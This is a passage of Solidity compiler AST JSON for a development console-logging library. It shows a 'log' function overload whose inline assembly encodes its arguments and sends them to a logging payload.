10:22"},{"assignments":[44051],"declarations":[{"constant":false,"id":44051,"mutability":"mutable","name":"m5","nameLocation":"312346:2:22","nodeType":"VariableDeclaration","scope":44069,"src":"312338:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44050,"name":"bytes32","nodeType":"ElementaryTypeName","src":"312338:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44052,"nodeType":"VariableDeclarationStatement","src":"312338:10:22"},{"assignments":[44054],"declarations":[{"constant":false,"id":44054,"mutability":"mutable","name":"m6","nameLocation":"312366:2:22","nodeType":"VariableDeclaration","scope":44069,"src":"312358:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44053,"name":"bytes32","nodeType":"ElementaryTypeName","src":"312358:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44055,"nodeType":"VariableDeclarationStatement","src":"312358:10:22"},{"assignments":[44057],"declarations":[{"constant":false,"id":44057,"mutability":"mutable","name":"m7","nameLocation":"312386:2:22","nodeType":"VariableDeclaration","scope":44069,"src":"312378:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44056,"name":"bytes32","nodeType":"ElementaryTypeName","src":"312378:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44058,"nodeType":"VariableDeclarationStatement","src":"312378:10:22"},{"assignments":[44060],"declarations":[{"constant":false,"id":44060,"mutability":"mutable","name":"m8","nameLocation":"312406:2:22","nodeType":"VariableDeclaration","scope":44069,"src":"312398:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44059,"name":"bytes32","nodeType":"ElementaryTypeName","src":"312398:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44061,"nodeType":"VariableDeclarationStatement","src":"312398:10:22"},{"AST":{"nativeSrc":"312427:924:22","nodeType":"YulBlock","src":"312427:924:22","statements":[{"body":{"nativeSrc":"312470:313:22","nodeType":"YulBlock","src":"312470:313:22","statements":[{"nativeSrc":"312488:15:22","nodeType":"YulVariableDeclaration","src":"312488:15:22","value":{"kind":"number","nativeSrc":"312502:1:22","nodeType":"YulLiteral","src":"312502:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"312492:6:22","nodeType":"YulTypedName","src":"312492:6:22","type":""}]},{"body":{"nativeSrc":"312573:40:22","nodeType":"YulBlock","src":"312573:40:22","statements":[{"body":{"nativeSrc":"312602:9:22","nodeType":"YulBlock","src":"312602:9:22","statements":[{"nativeSrc":"312604:5:22","nodeType":"YulBreak","src":"312604:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"312590:6:22","nodeType":"YulIdentifier","src":"312590:6:22"},{"name":"w","nativeSrc":"312598:1:22","nodeType":"YulIdentifier","src":"312598:1:22"}],"functionName":{"name":"byte","nativeSrc":"312585:4:22","nodeType":"YulIdentifier","src":"312585:4:22"},"nativeSrc":"312585:15:22","nodeType":"YulFunctionCall","src":"312585:15:22"}],"functionName":{"name":"iszero","nativeSrc":"312578:6:22","nodeType":"YulIdentifier","src":"312578:6:22"},"nativeSrc":"312578:23:22","nodeType":"YulFunctionCall","src":"312578:23:22"},"nativeSrc":"312575:36:22","nodeType":"YulIf","src":"312575:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"312530:6:22","nodeType":"YulIdentifier","src":"312530:6:22"},{"kind":"number","nativeSrc":"312538:4:22","nodeType":"YulLiteral","src":"312538:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"312527:2:22","nodeType":"YulIdentifier","src":"312527:2:22"},"nativeSrc":"312527:16:22","nodeType":"YulFunctionCall","src":"312527:16:22"},"nativeSrc":"312520:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"312544:28:22","nodeType":"YulBlock","src":"312544:28:22","statements":[{"nativeSrc":"312546:24:22","nodeType":"YulAssignment","src":"312546:24:22","value":{"arguments":[{"name":"length","nativeSrc":"312560:6:22","nodeType":"YulIdentifier","src":"312560:6:22"},{"kind":"number","nativeSrc":"312568:1:22","nodeType":"YulLiteral","src":"312568:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"312556:3:22","nodeType":"YulIdentifier","src":"312556:3:22"},"nativeSrc":"312556:14:22","nodeType":"YulFunctionCall","src":"312556:14:22"},"variableNames":[{"name":"length","nativeSrc":"312546:6:22","nodeType":"YulIdentifier","src":"312546:6:22"}]}]},"pre":{"nativeSrc":"312524:2:22","nodeType":"YulBlock","src":"312524:2:22","statements":[]},"src":"312520:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"312637:3:22","nodeType":"YulIdentifier","src":"312637:3:22"},{"name":"length","nativeSrc":"312642:6:22","nodeType":"YulIdentifier","src":"312642:6:22"}],"functionName":{"name":"mstore","nativeSrc":"312630:6:22","nodeType":"YulIdentifier","src":"312630:6:22"},"nativeSrc":"312630:19:22","nodeType":"YulFunctionCall","src":"312630:19:22"},"nativeSrc":"312630:19:22","nodeType":"YulExpressionStatement","src":"312630:19:22"},{"nativeSrc":"312666:37:22","nodeType":"YulVariableDeclaration","src":"312666:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"312683:3:22","nodeType":"YulLiteral","src":"312683:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"312692:1:22","nodeType":"YulLiteral","src":"312692:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"312695:6:22","nodeType":"YulIdentifier","src":"312695:6:22"}],"functionName":{"name":"shl","nativeSrc":"312688:3:22","nodeType":"YulIdentifier","src":"312688:3:22"},"nativeSrc":"312688:14:22","nodeType":"YulFunctionCall","src":"312688:14:22"}],"functionName":{"name":"sub","nativeSrc":"312679:3:22","nodeType":"YulIdentifier","src":"312679:3:22"},"nativeSrc":"312679:24:22","nodeType":"YulFunctionCall","src":"312679:24:22"},"variables":[{"name":"shift","nativeSrc":"312670:5:22","nodeType":"YulTypedName","src":"312670:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"312731:3:22","nodeType":"YulIdentifier","src":"312731:3:22"},{"kind":"number","nativeSrc":"312736:4:22","nodeType":"YulLiteral","src":"312736:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"312727:3:22","nodeType":"YulIdentifier","src":"312727:3:22"},"nativeSrc":"312727:14:22","nodeType":"YulFunctionCall","src":"312727:14:22"},{"arguments":[{"name":"shift","nativeSrc":"312747:5:22","nodeType":"YulIdentifier","src":"312747:5:22"},{"arguments":[{"name":"shift","nativeSrc":"312758:5:22","nodeType":"YulIdentifier","src":"312758:5:22"},{"name":"w","nativeSrc":"312765:1:22","nodeType":"YulIdentifier","src":"312765:1:22"}],"functionName":{"name":"shr","nativeSrc":"312754:3:22","nodeType":"YulIdentifier","src":"312754:3:22"},"nativeSrc":"312754:13:22","nodeType":"YulFunctionCall","src":"312754:13:22"}],"functionName":{"name":"shl","nativeSrc":"312743:3:22","nodeType":"YulIdentifier","src":"312743:3:22"},"nativeSrc":"312743:25:22","nodeType":"YulFunctionCall","src":"312743:25:22"}],"functionName":{"name":"mstore","nativeSrc":"312720:6:22","nodeType":"YulIdentifier","src":"312720:6:22"},"nativeSrc":"312720:49:22","nodeType":"YulFunctionCall","src":"312720:49:22"},"nativeSrc":"312720:49:22","nodeType":"YulExpressionStatement","src":"312720:49:22"}]},"name":"writeString","nativeSrc":"312441:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"312462:3:22","nodeType":"YulTypedName","src":"312462:3:22","type":""},{"name":"w","nativeSrc":"312467:1:22","nodeType":"YulTypedName","src":"312467:1:22","type":""}],"src":"312441:342:22"},{"nativeSrc":"312796:17:22","nodeType":"YulAssignment","src":"312796:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"312808:4:22","nodeType":"YulLiteral","src":"312808:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"312802:5:22","nodeType":"YulIdentifier","src":"312802:5:22"},"nativeSrc":"312802:11:22","nodeType":"YulFunctionCall","src":"312802:11:22"},"variableNames":[{"name":"m0","nativeSrc":"312796:2:22","nodeType":"YulIdentifier","src":"312796:2:22"}]},{"nativeSrc":"312826:17:22","nodeType":"YulAssignment","src":"312826:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"312838:4:22","nodeType":"YulLiteral","src":"312838:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"312832:5:22","nodeType":"YulIdentifier","src":"312832:5:22"},"nativeSrc":"312832:11:22","nodeType":"YulFunctionCall","src":"312832:11:22"},"variableNames":[{"name":"m1","nativeSrc":"312826:2:22","nodeType":"YulIdentifier","src":"312826:2:22"}]},{"nativeSrc":"312856:17:22","nodeType":"YulAssignment","src":"312856:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"312868:4:22","nodeType":"YulLiteral","src":"312868:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"312862:5:22","nodeType":"YulIdentifier","src":"312862:5:22"},"nativeSrc":"312862:11:22","nodeType":"YulFunctionCall","src":"312862:11:22"},"variableNames":[{"name":"m2","nativeSrc":"312856:2:22","nodeType":"YulIdentifier","src":"312856:2:22"}]},{"nativeSrc":"312886:17:22","nodeType":"YulAssignment","src":"312886:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"312898:4:22","nodeType":"YulLiteral","src":"312898:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"312892:5:22","nodeType":"YulIdentifier","src":"312892:5:22"},"nativeSrc":"312892:11:22","nodeType":"YulFunctionCall","src":"312892:11:22"},"variableNames":[{"name":"m3","nativeSrc":"312886:2:22","nodeType":"YulIdentifier","src":"312886:2:22"}]},{"nativeSrc":"312916:17:22","nodeType":"YulAssignment","src":"312916:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"312928:4:22","nodeType":"YulLiteral","src":"312928:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"312922:5:22","nodeType":"YulIdentifier","src":"312922:5:22"},"nativeSrc":"312922:11:22","nodeType":"YulFunctionCall","src":"312922:11:22"},"variableNames":[{"name":"m4","nativeSrc":"312916:2:22","nodeType":"YulIdentifier","src":"312916:2:22"}]},{"nativeSrc":"312946:17:22","nodeType":"YulAssignment","src":"312946:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"312958:4:22","nodeType":"YulLiteral","src":"312958:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"312952:5:22","nodeType":"YulIdentifier","src":"312952:5:22"},"nativeSrc":"312952:11:22","nodeType":"YulFunctionCall","src":"312952:11:22"},"variableNames":[{"name":"m5","nativeSrc":"312946:2:22","nodeType":"YulIdentifier","src":"312946:2:22"}]},{"nativeSrc":"312976:17:22","nodeType":"YulAssignment","src":"312976:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"312988:4:22","nodeType":"YulLiteral","src":"312988:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"312982:5:22","nodeType":"YulIdentifier","src":"312982:5:22"},"nativeSrc":"312982:11:22","nodeType":"YulFunctionCall","src":"312982:11:22"},"variableNames":[{"name":"m6","nativeSrc":"312976:2:22","nodeType":"YulIdentifier","src":"312976:2:22"}]},{"nativeSrc":"313006:17:22","nodeType":"YulAssignment","src":"313006:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"313018:4:22","nodeType":"YulLiteral","src":"313018:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"313012:5:22","nodeType":"YulIdentifier","src":"313012:5:22"},"nativeSrc":"313012:11:22","nodeType":"YulFunctionCall","src":"313012:11:22"},"variableNames":[{"name":"m7","nativeSrc":"313006:2:22","nodeType":"YulIdentifier","src":"313006:2:22"}]},{"nativeSrc":"313036:18:22","nodeType":"YulAssignment","src":"313036:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"313048:5:22","nodeType":"YulLiteral","src":"313048:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"313042:5:22","nodeType":"YulIdentifier","src":"313042:5:22"},"nativeSrc":"313042:12:22","nodeType":"YulFunctionCall","src":"313042:12:22"},"variableNames":[{"name":"m8","nativeSrc":"313036:2:22","nodeType":"YulIdentifier","src":"313036:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"313136:4:22","nodeType":"YulLiteral","src":"313136:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"313142:10:22","nodeType":"YulLiteral","src":"313142:10:22","type":"","value":"0x0454c079"}],"functionName":{"name":"mstore","nativeSrc":"313129:6:22","nodeType":"YulIdentifier","src":"313129:6:22"},"nativeSrc":"313129:24:22","nodeType":"YulFunctionCall","src":"313129:24:22"},"nativeSrc":"313129:24:22","nodeType":"YulExpressionStatement","src":"313129:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"313173:4:22","nodeType":"YulLiteral","src":"313173:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"313179:4:22","nodeType":"YulLiteral","src":"313179:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"313166:6:22","nodeType":"YulIdentifier","src":"313166:6:22"},"nativeSrc":"313166:18:22","nodeType":"YulFunctionCall","src":"313166:18:22"},"nativeSrc":"313166:18:22","nodeType":"YulExpressionStatement","src":"313166:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"313204:4:22","nodeType":"YulLiteral","src":"313204:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"313210:2:22","nodeType":"YulIdentifier","src":"313210:2:22"}],"functionName":{"name":"mstore","nativeSrc":"313197:6:22","nodeType":"YulIdentifier","src":"313197:6:22"},"nativeSrc":"313197:16:22","nodeType":"YulFunctionCall","src":"313197:16:22"},"nativeSrc":"313197:16:22","nodeType":"YulExpressionStatement","src":"313197:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"313233:4:22","nodeType":"YulLiteral","src":"313233:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"313239:2:22","nodeType":"YulIdentifier","src":"313239:2:22"}],"functionName":{"name":"mstore","nativeSrc":"313226:6:22","nodeType":"YulIdentifier","src":"313226:6:22"},"nativeSrc":"313226:16:22","nodeType":"YulFunctionCall","src":"313226:16:22"},"nativeSrc":"313226:16:22","nodeType":"YulExpressionStatement","src":"313226:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"313262:4:22","nodeType":"YulLiteral","src":"313262:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"313268:4:22","nodeType":"YulLiteral","src":"313268:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"313255:6:22","nodeType":"YulIdentifier","src":"313255:6:22"},"nativeSrc":"313255:18:22","nodeType":"YulFunctionCall","src":"313255:18:22"},"nativeSrc":"313255:18:22","nodeType":"YulExpressionStatement","src":"313255:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"313298:4:22","nodeType":"YulLiteral","src":"313298:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"313304:2:22","nodeType":"YulIdentifier","src":"313304:2:22"}],"functionName":{"name":"writeString","nativeSrc":"313286:11:22","nodeType":"YulIdentifier","src":"313286:11:22"},"nativeSrc":"313286:21:22","nodeType":"YulFunctionCall","src":"313286:21:22"},"nativeSrc":"313286:21:22","nodeType":"YulExpressionStatement","src":"313286:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"313332:4:22","nodeType":"YulLiteral","src":"313332:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"313338:2:22","nodeType":"YulIdentifier","src":"313338:2:22"}],"functionName":{"name":"writeString","nativeSrc":"313320:11:22","nodeType":"YulIdentifier","src":"313320:11:22"},"nativeSrc":"313320:21:22","nodeType":"YulFunctionCall","src":"313320:21:22"},"nativeSrc":"313320:21:22","nodeType":"YulExpressionStatement","src":"313320:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44036,"isOffset":false,"isSlot":false,"src":"312796:2:22","valueSize":1},{"declaration":44039,"isOffset":false,"isSlot":false,"src":"312826:2:22","valueSize":1},{"declaration":44042,"isOffset":false,"isSlot":false,"src":"312856:2:22","valueSize":1},{"declaration":44045,"isOffset":false,"isSlot":false,"src":"312886:2:22","valueSize":1},{"declaration":44048,"isOffset":false,"isSlot":false,"src":"312916:2:22","valueSize":1},{"declaration":44051,"isOffset":false,"isSlot":false,"src":"312946:2:22","valueSize":1},{"declaration":44054,"isOffset":false,"isSlot":false,"src":"312976:2:22","valueSize":1},{"declaration":44057,"isOffset":false,"isSlot":false,"src":"313006:2:22","valueSize":1},{"declaration":44060,"isOffset":false,"isSlot":false,"src":"313036:2:22","valueSize":1},{"declaration":44026,"isOffset":false,"isSlot":false,"src":"313304:2:22","valueSize":1},{"declaration":44028,"isOffset":false,"isSlot":false,"src":"313210:2:22","valueSize":1},{"declaration":44030,"isOffset":false,"isSlot":false,"src":"313239:2:22","valueSize":1},{"declaration":44032,"isOffset":false,"isSlot":false,"src":"313338:2:22","valueSize":1}],"id":44062,"nodeType":"InlineAssembly","src":"312418:933:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":44064,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"313376:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":44065,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"313382:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":44063,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"313360:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":44066,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"313360:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":44067,"nodeType":"ExpressionStatement","src":"313360:28:22"},{"AST":{"nativeSrc":"313407:273:22","nodeType":"YulBlock","src":"313407:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"313428:4:22","nodeType":"YulLiteral","src":"313428:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"313434:2:22","nodeType":"YulIdentifier","src":"313434:2:22"}],"functionName":{"name":"mstore","nativeSrc":"313421:6:22","nodeType":"YulIdentifier","src":"313421:6:22"},"nativeSrc":"313421:16:22","nodeType":"YulFunctionCall","src":"313421:16:22"},"nativeSrc":"313421:16:22","nodeType":"YulExpressionStatement","src":"313421:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"313457:4:22","nodeType":"YulLiteral","src":"313457:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"313463:2:22","nodeType":"YulIdentifier","src":"313463:2:22"}],"functionName":{"name":"mstore","nativeSrc":"313450:6:22","nodeType":"YulIdentifier","src":"313450:6:22"},"nativeSrc":"313450:16:22","nodeType":"YulFunctionCall","src":"313450:16:22"},"nativeSrc":"313450:16:22","nodeType":"YulExpressionStatement","src":"313450:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"313486:4:22","nodeType":"YulLiteral","src":"313486:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"313492:2:22","nodeType":"YulIdentifier","src":"313492:2:22"}],"functionName":{"name":"mstore","nativeSrc":"313479:6:22","nodeType":"YulIdentifier","src":"313479:6:22"},"nativeSrc":"313479:16:22","nodeType":"YulFunctionCall","src":"313479:16:22"},"nativeSrc":"313479:16:22","nodeType":"YulExpressionStatement","src":"313479:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"313515:4:22","nodeType":"YulLiteral","src":"313515:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"313521:2:22","nodeType":"YulIdentifier","src":"313521:2:22"}],"functionName":{"name":"mstore","nativeSrc":"313508:6:22","nodeType":"YulIdentifier","src":"313508:6:22"},"nativeSrc":"313508:16:22","nodeType":"YulFunctionCall","src":"313508:16:22"},"nativeSrc":"313508:16:22","nodeType":"YulExpressionStatement","src":"313508:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"313544:4:22","nodeType":"YulLiteral","src":"313544:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"313550:2:22","nodeType":"YulIdentifier","src":"313550:2:22"}],"functionName":{"name":"mstore","nativeSrc":"313537:6:22","nodeType":"YulIdentifier","src":"313537:6:22"},"nativeSrc":"313537:16:22","nodeType":"YulFunctionCall","src":"313537:16:22"},"nativeSrc":"313537:16:22","nodeType":"YulExpressionStatement","src":"313537:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"313573:4:22","nodeType":"YulLiteral","src":"313573:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"313579:2:22","nodeType":"YulIdentifier","src":"313579:2:22"}],"functionName":{"name":"mstore","nativeSrc":"313566:6:22","nodeType":"YulIdentifier","src":"313566:6:22"},"nativeSrc":"313566:16:22","nodeType":"YulFunctionCall","src":"313566:16:22"},"nativeSrc":"313566:16:22","nodeType":"YulExpressionStatement","src":"313566:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"313602:4:22","nodeType":"YulLiteral","src":"313602:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"313608:2:22","nodeType":"YulIdentifier","src":"313608:2:22"}],"functionName":{"name":"mstore","nativeSrc":"313595:6:22","nodeType":"YulIdentifier","src":"313595:6:22"},"nativeSrc":"313595:16:22","nodeType":"YulFunctionCall","src":"313595:16:22"},"nativeSrc":"313595:16:22","nodeType":"YulExpressionStatement","src":"313595:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"313631:4:22","nodeType":"YulLiteral","src":"313631:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"313637:2:22","nodeType":"YulIdentifier","src":"313637:2:22"}],"functionName":{"name":"mstore","nativeSrc":"313624:6:22","nodeType":"YulIdentifier","src":"313624:6:22"},"nativeSrc":"313624:16:22","nodeType":"YulFunctionCall","src":"313624:16:22"},"nativeSrc":"313624:16:22","nodeType":"YulExpressionStatement","src":"313624:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"313660:5:22","nodeType":"YulLiteral","src":"313660:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"313667:2:22","nodeType":"YulIdentifier","src":"313667:2:22"}],"functionName":{"name":"mstore","nativeSrc":"313653:6:22","nodeType":"YulIdentifier","src":"313653:6:22"},"nativeSrc":"313653:17:22","nodeType":"YulFunctionCall","src":"313653:17:22"},"nativeSrc":"313653:17:22","nodeType":"YulExpressionStatement","src":"313653:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44036,"isOffset":false,"isSlot":false,"src":"313434:2:22","valueSize":1},{"declaration":44039,"isOffset":false,"isSlot":false,"src":"313463:2:22","valueSize":1},{"declaration":44042,"isOffset":false,"isSlot":false,"src":"313492:2:22","valueSize":1},{"declaration":44045,"isOffset":false,"isSlot":false,"src":"313521:2:22","valueSize":1},{"declaration":44048,"isOffset":false,"isSlot":false,"src":"313550:2:22","valueSize":1},{"declaration":44051,"isOffset":false,"isSlot":false,"src":"313579:2:22","valueSize":1},{"declaration":44054,"isOffset":false,"isSlot":false,"src":"313608:2:22","valueSize":1},{"declaration":44057,"isOffset":false,"isSlot":false,"src":"313637:2:22","valueSize":1},{"declaration":44060,"isOffset":false,"isSlot":false,"src":"313667:2:22","valueSize":1}],"id":44068,"nodeType":"InlineAssembly","src":"313398:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"312165:3:22","parameters":{"id":44033,"nodeType":"ParameterList","parameters":[{"constant":false,"id":44026,"mutability":"mutable","name":"p0","nameLocation":"312177:2:22","nodeType":"VariableDeclaration","scope":44070,"src":"312169:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44025,"name":"bytes32","nodeType":"ElementaryTypeName","src":"312169:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44028,"mutability":"mutable","name":"p1","nameLocation":"312189:2:22","nodeType":"VariableDeclaration","scope":44070,"src":"312181:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":44027,"name":"address","nodeType":"ElementaryTypeName","src":"312181:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":44030,"mutability":"mutable","name":"p2","nameLocation":"312198:2:22","nodeType":"VariableDeclaration","scope":44070,"src":"312193:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44029,"name":"bool","nodeType":"ElementaryTypeName","src":"312193:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":44032,"mutability":"mutable","name":"p3","nameLocation":"312210:2:22","nodeType":"VariableDeclaration","scope":44070,"src":"312202:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44031,"name":"bytes32","nodeType":"ElementaryTypeName","src":"312202:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"312168:45:22"},"returnParameters":{"id":44034,"nodeType":"ParameterList","parameters":[],"src":"312228:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":44110,"nodeType":"FunctionDefinition","src":"313692:1340:22","nodes":[],"body":{"id":44109,"nodeType":"Block","src":"313767:1265:22","nodes":[],"statements":[{"assignments":[44082],"declarations":[{"constant":false,"id":44082,"mutability":"mutable","name":"m0","nameLocation":"313785:2:22","nodeType":"VariableDeclaration","scope":44109,"src":"313777:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44081,"name":"bytes32","nodeType":"ElementaryTypeName","src":"313777:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44083,"nodeType":"VariableDeclarationStatement","src":"313777:10:22"},{"assignments":[44085],"declarations":[{"constant":false,"id":44085,"mutability":"mutable","name":"m1","nameLocation":"313805:2:22","nodeType":"VariableDeclaration","scope":44109,"src":"313797:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44084,"name":"bytes32","nodeType":"ElementaryTypeName","src":"313797:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44086,"nodeType":"VariableDeclarationStatement","src":"313797:10:22"},{"assignments":[44088],"declarations":[{"constant":false,"id":44088,"mutability":"mutable","name":"m2","nameLocation":"313825:2:22","nodeType":"VariableDeclaration","scope":44109,"src":"313817:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44087,"name":"bytes32","nodeType":"ElementaryTypeName","src":"313817:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44089,"nodeType":"VariableDeclarationStatement","src":"313817:10:22"},{"assignments":[44091],"declarations":[{"constant":false,"id":44091,"mutability":"mutable","name":"m3","nameLocation":"313845:2:22","nodeType":"VariableDeclaration","scope":44109,"src":"313837:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44090,"name":"bytes32","nodeType":"ElementaryTypeName","src":"313837:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44092,"nodeType":"VariableDeclarationStatement","src":"313837:10:22"},{"assignments":[44094],"declarations":[{"constant":false,"id":44094,"mutability":"mutable","name":"m4","nameLocation":"313865:2:22","nodeType":"VariableDeclaration","scope":44109,"src":"313857:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44093,"name":"bytes32","nodeType":"ElementaryTypeName","src":"313857:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44095,"nodeType":"VariableDeclarationStatement","src":"313857:10:22"},{"assignments":[44097],"declarations":[{"constant":false,"id":44097,"mutability":"mutable","name":"m5","nameLocation":"313885:2:22","nodeType":"VariableDeclaration","scope":44109,"src":"313877:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{